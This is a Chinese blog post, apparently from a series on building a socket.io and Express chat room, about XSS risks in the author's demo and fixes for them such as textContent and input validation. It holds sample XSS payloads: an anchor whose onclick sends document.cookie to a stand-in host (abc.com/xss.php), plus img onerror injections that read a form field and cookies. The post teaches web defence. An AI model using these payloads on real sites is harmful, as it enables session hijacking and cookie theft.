socket.io+express實現聊天室的思考(三)

這一篇文章主要是對 安全性 的思考,首先了解一下一些常見的網絡攻擊php

xss跨站點腳本攻擊

XSS是注入攻擊的一種,其特色是不對服務器形成任何傷害,而是經過一些正常的站內交互途徑,發佈含有js的攻擊代碼,若是服務器沒有沒有過濾或者轉義這些腳本,做爲內容發佈到了頁面上,其餘用戶訪問這個頁面時會運行這些腳本前端

儲存型XSS

也叫做 持久性XSS,會把攻擊者的數據儲存在服務器端,攻擊行爲將伴隨攻擊數據一直存在。
舉個栗子數據庫

  1. 攻擊者以一個普通用戶登陸進來,而後在輸入框提交如下數據後端

<a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>

攻擊者提交了這條帶標籤的數據,該條數據保存在數據庫中,而當用戶user登陸後點擊 更多時,在 "abc.com" 所在的服務器上,攻擊者就能夠竊取到user的sessionID。有了該sessionID,攻擊者在會話有效期內能夠得到user權限瀏覽器

反射型XSS

即被動的非持久性XSS,經過篡改頁面,誘騙用戶點擊帶攻擊代碼的連接。XSS代碼出如今URL中,做爲輸入提交到服務器中,服務器解析後響應,XSS代碼隨着響應內容一塊兒傳回瀏覽器,由瀏覽器解析執行XSS代碼,從而攻擊用戶。安全

DOM-XSS

在本次項目中的漏洞(部分)

完成demo後,我並無對用戶的輸入進行過濾而後嘗試了一下<img>標籤的腳本注入發現:服務器

<img src="x" onerror="alert(document.getElementById('username').value)">

圖片描述

結果:垂手可得獲得了用戶名。顯然,若是不作過濾想要獲得用戶的密碼也是十分簡單的cookie

解決方案

一. 將 innerHTML替換成 textContent網絡

innerHTML和 textContent區別:session

innerHTML 返回 HTML 文本。一般,爲了在元素中檢索或寫入文本,人們使用innerHTML。可是,textContent一般具備更好的性能,由於文本不會被解析爲HTML。此外,使用textContent能夠防止 XSS 攻擊。

<img src="x" onerror="alert(document.cookie)>

圖片描述

不過這種方案存在一個問題,就是沒法發送圖片。我暫時也沒有一個好一點的思路,還請你們指教一下~

二. input輸入框登陸名驗證

var username = document.getElementById('username').value;
var legal = true,
    pattern = new RegExp("[<>`/?!%']|~")
if (username.trim() != '') {
    if (pattern.test(username)) {
        alert("暱稱不能包含特殊字符:[<>`/?!%']|~~")
            return false
        }
    else that.socket.emit('login', username)  //不爲空,發起一個login事件並將輸入的暱稱發送到服務器
}
else {
    alert('暱稱不能爲空')
    document.getElementById('username').focus() //不然輸入框得到焦點
}

總結

總而言之,咱們不能信任用戶的任何輸入,只要是須要用戶輸入的地方都須要作數據的驗證和過濾。尤爲是對<input>,<img>等標籤須要格外的注意。固然,僅僅前端作過濾是沒有用的,用戶能夠繞過前端的驗證,將數據傳送到後端。後端必須對前端傳過來的數據進行再次驗證。

相關文章
相關標籤/搜索